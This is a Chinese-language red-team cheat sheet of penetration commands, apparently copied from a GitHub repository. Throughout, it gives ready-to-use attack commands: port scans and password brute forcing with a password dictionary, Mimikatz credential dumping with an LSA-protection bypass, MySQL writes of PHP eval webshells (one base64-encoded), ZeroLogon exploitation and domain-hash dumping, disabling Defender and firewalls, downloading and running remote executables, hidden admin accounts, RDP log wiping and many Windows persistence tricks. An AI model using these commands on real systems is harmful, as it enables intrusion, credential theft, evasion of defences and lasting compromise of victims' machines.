红队常用命令


command

收集渗透中会用到的常用命令。

原文来自 https://github.com/safe6Sec/command
更新时间:2022.2.27

Table of Contents

nmap

  1. nmap -sn 10.11.1.0/24
  1. nmap -sV -p- 10.11.1.0
  1. nmap 10.11.1.0 --script vuln
  1. nmap -p445 10.11.1.0 --script smb-vuln-ms17-010
  1. nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt

端口列表

  1. 22,23,135,445,389,3389,80,443,8080,7001,3306,1433,1521,6379,27017,2375,5900,5432,4899
  2. 21-23,80-90,135,137,161,389,443,445,873,1099,1433,1521,1900,2082,2083,2222,2375,2376,2601,2604,3128,3306,3311,3312,3389,4440,4848,5001,5432,5560,5900-5902,6082,6379,7001-7010,7778,8009,8080-8090,8649,8888,9000,9200,10000,11211,27017,28017,50000,51111,50030,50060
  3. 20-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50050,50300,50389,50500,50636,50800,51111,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389

字典

top200
  1. 123456
  2. password
  3. 123456789
  4. 12345678
  5. 12345
  6. qwerty
  7. 123123
  8. 111111
  9. abc123
  10. 1234567
  11. dragon
  12. 1q2w3e4r
  13. sunshine
  14. 654321
  15. master
  16. 1234
  17. football
  18. 1234567890
  19. 000000
  20. computer
  21. 666666
  22. superman
  23. michael
  24. internet
  25. iloveyou
  26. daniel
  27. 1qaz2wsx
  28. monkey
  29. shadow
  30. jessica
  31. letmein
  32. baseball
  33. whatever
  34. princess
  35. abcd1234
  36. 123321
  37. starwars
  38. 121212
  39. thomas
  40. zxcvbnm
  41. trustno1
  42. killer
  43. welcome
  44. jordan
  45. aaaaaa
  46. 123qwe
  47. freedom
  48. password1
  49. charlie
  50. batman
  51. jennifer
  52. 7777777
  53. michelle
  54. diamond
  55. oliver
  56. mercedes
  57. benjamin
  58. 11111111
  59. snoopy
  60. samantha
  61. victoria
  62. matrix
  63. george
  64. alexander
  65. secret
  66. cookie
  67. asdfgh
  68. 987654321
  69. 123abc
  70. orange
  71. fuckyou
  72. asdf1234
  73. pepper
  74. hunter
  75. silver
  76. joshua
  77. banana
  78. 1q2w3e
  79. chelsea
  80. 1234qwer
  81. summer
  82. qwertyuiop
  83. phoenix
  84. andrew
  85. q1w2e3r4
  86. elephant
  87. rainbow
  88. mustang
  89. merlin
  90. london
  91. garfield
  92. robert
  93. chocolate
  94. 112233
  95. samsung
  96. qazwsx
  97. matthew
  98. buster
  99. jonathan
  100. ginger
  101. flower
  102. 555555
  103. test
  104. caroline
  105. amanda
  106. maverick
  107. midnight
  108. martin
  109. junior
  110. 88888888
  111. anthony
  112. jasmine
  113. creative
  114. patrick
  115. mickey
  116. 123
  117. qwerty123
  118. cocacola
  119. chicken
  120. passw0rd
  121. forever
  122. william
  123. nicole
  124. hello
  125. yellow
  126. nirvana
  127. justin
  128. friends
  129. cheese
  130. tigger
  131. mother
  132. liverpool
  133. blink182
  134. asdfghjkl
  135. andrea
  136. spider
  137. scooter
  138. richard
  139. soccer
  140. rachel
  141. purple
  142. morgan
  143. melissa
  144. jackson
  145. arsenal
  146. 222222
  147. qwe123
  148. gabriel
  149. ferrari
  150. jasper
  151. danielle
  152. bandit
  153. angela
  154. scorpion
  155. prince
  156. maggie
  157. austin
  158. veronica
  159. nicholas
  160. monster
  161. dexter
  162. carlos
  163. thunder
  164. success
  165. hannah
  166. ashley
  167. 131313
  168. stella
  169. brandon
  170. pokemon
  171. joseph
  172. asdfasdf
  173. 999999
  174. metallica
  175. december
  176. chester
  177. taylor
  178. sophie
  179. samuel
  180. rabbit
  181. crystal
  182. barney
  183. xxxxxx
  184. steven
  185. ranger
  186. patricia
  187. christian
  188. asshole
  189. spiderman
  190. sandra
  191. hockey
  192. angels
  193. security
  194. parker
  195. heather
  196. 888888
  197. victor
  198. harley
  199. 333333
  200. system
  201. slipknot
  202. november
  203. jordan23
  204. canada
  205. tennis
  206. qwertyui
  207. casper

Mimikatz

一条命令

  1. .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

控制台执行多条命令,用log防止进程崩溃,数据丢失

  1. mimikatz # privilege::debug
  2. mimikatz # log
  3. mimikatz # sekurlsa::logonpasswords
  4. mimikatz # sekurlsa::wdigest

msf中执行命令

  1. mimikatz_command -f sekurlsa::logonPasswords full
  2. mimikatz_command -f sekurlsa::wdigest

注册表开启wdigest,08r2后默认关闭。需要目标注销,重新登录。2016需要重启。

  1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1

bypass lsa Protection(ppl)

查询是否启用

  1. reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

把mimidriver.sys拷贝到同级目录,进行加载bypass

  1. mimikatz # !+
  2. mimikatz # !processprotect /process:lsass.exe /remove
  3. mimikatz # privilege::debug
  4. mimikatz # token::elevate
  5. mimikatz # sekurlsa::logonpasswords
  6. mimikatz # !processprotect /process:lsass.exe
  7. mimikatz # !-

cs凭证解析

提取用户名

  1. awk -F":::" '{print $1}' credentials.txt | awk -F"\\" '{print $2}'

提取hash

  1. awk -F":::" '{print $2}' credentials.txt

存活主机

  1. for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr TTL=”

bypass

Defender排除项

  1. powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\test"

gobuster

  1. gobuster dir -u https://buffered.io -w ~/wordlists/shortlist.txt

dirsearch

  1. python3 dirsearch.py -e php,html,js -u https://target
  1. python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
  1. python3 dirsearch.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20
  1. python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
  1. python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080

nbtscan

  1. nbtscan.exe 10.11.1.0/24

代理工具

proxychain
sockscap64
proxifier

https://drive.google.com/drive/folders/1x5naJeK2YkV6QCYUlUg5QNMl1Izf4-ti
https://www.mediafire.com/folder/32rj1769a2w82/v4.7

内网穿透工具

fuso

  • https://github.com/editso/fuso.git
  • 相对冷门,不会被杀
    在9004上开启socks5代理
    1. fuc.exe 159.138.0.0 9003 -h 127.0.0.1 -p 9004 -b 9004 -n test -t socks5 --bridge-host 0.0.0.0 --bridge-port 9004

frp

nps

iox

Stowaway

https://github.com/lz520520/Stowaway

Venom

https://github.com/Dliv3/Venom

ssh

无记录shell

  1. ssh -T root@192.168.1.1 /usr/bin/bash -i

grep

  1. grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
  1. grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
  1. grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
  1. grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt

mysql

开远程

  1. use mysql;
  2. update user set host = '%' where user = 'root';
  3. FLUSH PRIVILEGES ;
  4. select host, user from user;
  5. mysql -uroot -p -e "select * from mysql.user;" >1.txt

不登录直接执行sql

  1. mysql -uaHmin -proot test -e "select now()" -N >H:/work/target1.txt
  2. mysql -uroot -e "show databases;" >1.txt

mysql getshell

  1. show variables like '%secure%'
  2. select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';
  3. select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';
  1. set global general_log=on;
  2. set global general_log_file='/var/www/1.php';
  3. select '<?php eval($_POST[s6]) ?>';
  1. select '<?php file_put_contents("abab.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/wamp/www/abb.php';

sqlmap

  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --proxy "http://127.0.0.1:1080"
  1. python sqlmap.py -u "http://www.vuln.cn" cookie "id=11" --level 2
  1. python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3
  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --dbs
  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test --tables
  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test -T admin –-columns
  1. python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbms mysql -D test -T admin -C "username,password" --dump
  1. python sqlmap.py -r "c:\request.txt" -p id dbms mysql file-read="e:\www\as\config.php"

找可写目录

  1. ### linux
  2. #### 在/root war文件的同目录下
  3. find /root -name war|while read file;do sh -c "echo $file">$(dirname $file)/finddir.txt;done
  4. find /root -name war|while read file;do sh -c "rm $(dirname $file)/finddir.txt";done
  5. #### 在/root war文件夹下
  6. find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done
  7. find /root -name war|while read file;do sh -c "rm $file/finddir.txt";done
  8. ### windows
  9. #### 在C:\Users\liulangmao\Desktop任意子目录 war.txt文件的同目录下
  10. for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)
  11. for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (del %i\..\finddir.txt)
  12. #### 在C:\Users\liulangmao\Desktop任意子目录 war文件夹下
  13. for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (echo %i > %i\finddir.txt)
  14. for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war') do (del %i\finddir.txt)

示例:在weblogic靶机/root 所有war文件夹下的finddir.txt文件中写入该war文件夹的路径。

  1. find /root -name war|while read file;do sh -c "echo $file">$file/finddir.txt;done

程序名找启动路径

  1. wmic process where name='mysqld.exe' get processid,executablepath,name

启动路径找login.jsp

  1. for /f %i in ('dir /s /b D:\UFGOV\U8\login.jsp') do (echo %i)

base64分段不换行追加写文件

  1. echo|set /p=\"PCFET0NUWVBFIGh0bWw+IDxodG1sPiA8aGVhZD4gPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PGgxPjIwMjHlubR4eHjnvZHnu5zlronlhajlrp7miJjmvJTnu4M8L2gxPg==\" > D:\UFGOV\U8\webapps\demonstrate.txt

解决cmd无回显问题

  1. powershell Get-ChildItem C:

hydra

  1. 参数:
  2. -l 指定的用户名 -L 用户名字典
  3. -p 指定密码 -P 密码字典
  4. -s 指定端口
  5. -o 输出文件
  6. -t 任务数默认16
  7. -f 爆破成功一个就停止
  8. -v 报错日志详细 -V 攻击日志
  9. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
  10. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
  11. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
  12. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
  13. >hydra -L /root/user.txt -P pass.txt 10.1.1.10 smb -vV
  14. >hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10

medusa

  1. 参数:
  2. -h 目标名或IP -H 目标列表
  3. -u 用户名 -U 用户名字典
  4. -p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
  5. -n 指定端口 -e ns 尝试空密码和用户名密码相同
  6. >medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
  7. >medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql

python交互shell

  1. python3 -c "import pty;pty.spawn('/bin/bash')"
  1. python2 -c 'import pty;pty.spawn("/bin/sh")'

无交互添加用户

  1. useradd newuser;echo "newuser:password"|chpasswd
  1. useradd -p `openssl passwd 123456` guest
  1. useradd -p "$(openssl passwd 123456)" guest
  1. useradd newuwer;echo -e "123456\n123456\n" |passwd newuser

windows

  1. net user admin$ Afabab@20 /add
  2. net localgroup administrators admin$ /add
  3. net user guest /active:yes
  4. net localgroup administrators guest /add
  5. Net localgroup Administrators kent /add /domain 将域用户添加到域管理员组
  6. Net localgroup Administrators /add test\kent 将域用户添加到本地管理员组

防火墙

  1. 关闭防火墙
  2. netsh firewall set opmode mode=disable
  3. 放行远程8888端口进来的流量
  4. netsh advfirewall firewall add rule name="88" protocol=TCP dir=in remoteport=8888 action=allow
  5. 放行出去到远程8888端口的流量
  6. netsh advfirewall firewall add rule name="88" protocol=TCP dir=out remoteport=8888 action=allow
  7. 放行本地4444端口出去的流量
  8. netsh advfirewall firewall add rule name="44" protocol=TCP dir=out localport=4444 action=allow
  9. 放行从本地4444端口进来的流量
  10. netsh advfirewall firewall add rule name="44" protocol=TCP dir=in localport=4444 action=allow
  11. 删除规则
  12. netsh advfirewall firewall delete rule name="88"
  13. 查看防火墙配置(可看到具体规则等配置)
  14. netsh firewall show config
  15. 关闭windefebd
  16. net stop windefend
  17. netsh firewall set portopening TCP 445 ENABLE //打开445端口
  18. netsh firewall set portopening TCP 3389 ENABLE //开放终端
  19. netsh firewall delete allowedprogram C:/A.exe //删除放行程序A.exe
  20. netsh firewall set allowedprogram C:/A.exe test ENABLE //添加程序C盘下的A.exe并放行
  21. netsh firewall add allowedprogram C:/A.exe test ENABLE //添加程序C盘下的A.exe并放行
  22. 新版本命令
  23. netsh advfirewall firewall add rule name="test" dir=in action=allow program="C:\windows\temp\update.exe" enable=yes
  24. netsh advfirewall firewall add rule name="test" dir=out action=allow program="C:\windows\temp\update.exe" enable=yes

frp常用配置

frpc.ini

  1. [common]
  2. server_addr = xxxxxx
  3. server_port = 7000
  4. [rdp]
  5. type = tcp
  6. local_port = 3389
  7. remote_port = 3389
  8. [plugin_http_proxy]
  9. type = tcp
  10. remote_port = 10801
  11. plugin = http_proxy
  12. [plugin_socks5]
  13. type = tcp
  14. remote_port = 1080
  15. plugin = socks5

ZeroLogon

  • 产生日志 4742(利用成功), 5580(利用失败)
  • 流量特征明显
  • 会被av直接秒
  • 有可能会导致目标脱域
  • 代理不稳,容易出问题
  1. git clone https://github.com/mstxq17/cve-2020-1472.git
  2. python3 zerologon_tester.py Dc02 172.23.119.120 域外检测
  3. PingCastle.exe --server 172.23.119.120 --scanner zerologon --scmode-dc 域内检测

洞清空目标域控机器账户密码

  1. python3 cve-2020-1472-exploit.py Dc02$ 172.23.119.120

无密码远程提取 ntds.dit

  1. python3 secretsdump.py qq.local/'Dc02$'@172.23.119.120 -no-pass -outputfile qq.local.ntds.hash

用 administrator 域管账户 hash 远程导出域控机器账户 hash [hex 格式]

  1. python3 secretsdump.py -hashes :ccef208c6485269c20db2cad21734fe7 qq/administrator@172.23.119.120

用上面的 hex 还原目标域控机器账户密码

  1. python3 restorepassword.py Dc02@Dc02 -target-ip 172.23.119.120 -hexpass daf1d2acc25d2e54218921737a40d58192b9bcdf089ddbeaf9f7931571b07916f96e2c51d8d00f56d2440c13c0e5586e2dafd1669e37131***

删rdp日志

清除远程桌面连接记录,创建clear.bat

  1. @echo off
  2. reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
  3. reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
  4. reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
  5. cd %userprofile%\documents\attrib Default.rdp -s -h
  6. del Default.rdp

开3389

  1. 系统windows server 2003
  2. wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
  3. wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
  4. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
  5. net start TermService

文件查找

  1. findstr /s /i /n /d:C:\ /c:"123123" *.txt
  1. for /r C: %i in (login.*) do @echo %i
  1. where /R C: login.*
  1. dir /s/a-d/b login.*
  1. find / -name index.php
  1. find / -name index.php
  1. find / -name "index.php" | xargs grep "111222"
  1. 进程路径
  2. wmic process get name,executablepath

powershell文件下载

  1. powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'
  1. powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','1.exe')
  1. Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")

bypass

  1. echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -

certutil.exe下载

  1. certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
  1. certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.exe
  1. certutil.exe -urlcache -split -f http://192.168.6.27:8012/download/f.ext C:\windows\temp\up.exe &&start C:\windows\temp\up.exe

删除缓存

  1. certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete

查看缓存项目:

  1. certutil.exe -urlcache *

转为base64

  1. certutil -encode lcx64.exe lcx64.txt

转回来

  1. certutil -decode lcx64.txt lcx64.exe

查看md5

  1. certutil -hashfile a.exe MD5

bypass

  1. Certutil & Certutil urlcache f split url
  2. Certutil | Certutil urlcache f split url

bitsadmin

不支持https、ftp协议,php python带的服务器会出错

  1. bitsadmin /transfer n http://192.168.1.1/1.exe C:\test\update\1.exe

windows权限维持

Startup目录

  1. NT6以后的目录如下:
  2. 对当前用户有效:
  3. C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  4. 对所有用户有效:
  5. C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  6. NT6以前的目录如下:
  7. 对当前用户有效:
  8. C:\Documents and Settings\Hunter\「开始」菜单\程\启
  9. 对所有用户有效:
  10. C:\Documents and Settings\All Users\「开始」菜单\程\启

注册键

  1. reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"
  1. 1.Load注册键
  2. HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindowsload
  3. 2.Userinit注册键
  4. HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogonUserinit
  5. 通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe
  6. 3.ExplorerRun注册键
  7. ExplorerRun键在HKEY_CURRENT_USERHKEY_LOCAL_MACHINE下都有。
  8. HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun
  9. HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun
  10. ExplorerRun键在HKEY_CURRENT_USERHKEY_LOCAL_MACHINE下都有。
  11. 4.RunServicesOnce注册键
  12. RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USERHKEY_LOCAL_MACHINE下都有。
  13. HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce
  14. HKEY_LOCAL_MACHINESoftwareMicrosoft WindowsCurrentVersionRunServicesOnce
  15. 5.RunServices注册键
  16. RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。
  17. HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion RunServices
  18. HKEY_LOCAL_MACHINESoftwareMicrosoftWindows CurrentVersionRunServices
  19. 6.RunOnceSetup注册键
  20. HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnceSetup
  21. HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceSetup
  22. 7.RunOnce注册键
  23. 安装程序通常用RunOnce键自动运行程序,它的位置在
  24. HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce
  25. [小于NT6]HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx
  26. HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
  27. HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。
  28. 8.Run注册键
  29. HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
  30. HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
  31. Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。

服务

  1. sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"

计划任务

  1. SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

WMI事件

  1. wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"
  2. wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"
  3. wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""

屏幕保护

  1. reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
  2. reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
  3. reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
  4. reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

bitsadmin

  1. bitsadmin /create evil
  2. bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
  3. bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
  4. bitsadmin /Resume evil

Netsh白加黑

  1. 可以通过导入helperdll的方式做权限维持,命令格式如下:
  2. netsh add helper [Absolute evil DLL path]
  3. 但是由于netsh并不会开启自启动,因此还要再写一条自启动项:
  4. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"
  5. 重新启动后依然可获得shell

MSDTC

在默认的Windows安装中,System32文件夹中缺少oci.dll这个文件,在获得写权限的情况下可以在该文件夹下写入一个同名的dll,服务启动时执行恶意代码。
默认情况下,由于启动类型设置为“手动”,通过以下命令设置自启:

  1. sc qc msdtc
  2. sc config msdtc start= auto

windows信息收集常用命令

  1. Systeminfo 计算机详细信息(补丁信息)
  2. Net start 所启动的服务
  3. Wmic service list brief 查询本机服务信息
  4. Tasklist 进程列表
  5. Wmic startup get command,caption 查看启动该程序信息
  6. Schtasks /query /fo LIST /v计划任务
  7. Netstat -ano 根据本机端口开放情况来判断有什么服务、其角色
  8. Query user || qwinsta 查看当前在线用户
  9. Net session 列出会话
  10. Net share 查看本机的共享列表
  11. Wmic share get name,path,status 查看共享列表
  12. Net user 本地用户
  13. Net user kkkk 查看本地用户信息
  14. Net localgroup 本地用户组
  15. Net localgroup /domain 域用户组
  16. Net localgroup adminnstrators 本地管理员组成员
  17. net localgroup adminstrators /domain 查看登陆过主机的管理员
  18. Wmic useraccount get /all 获取域内用户详细信息
  19. dsquery user 查看存在的用户
  20. Net user /domain 域用户信息
  21. Net user kkkk /domain 域用户kkkk信息
  22. Net user kent password /add /domain添加域用户
  23. Net group /domain 域用户组信息
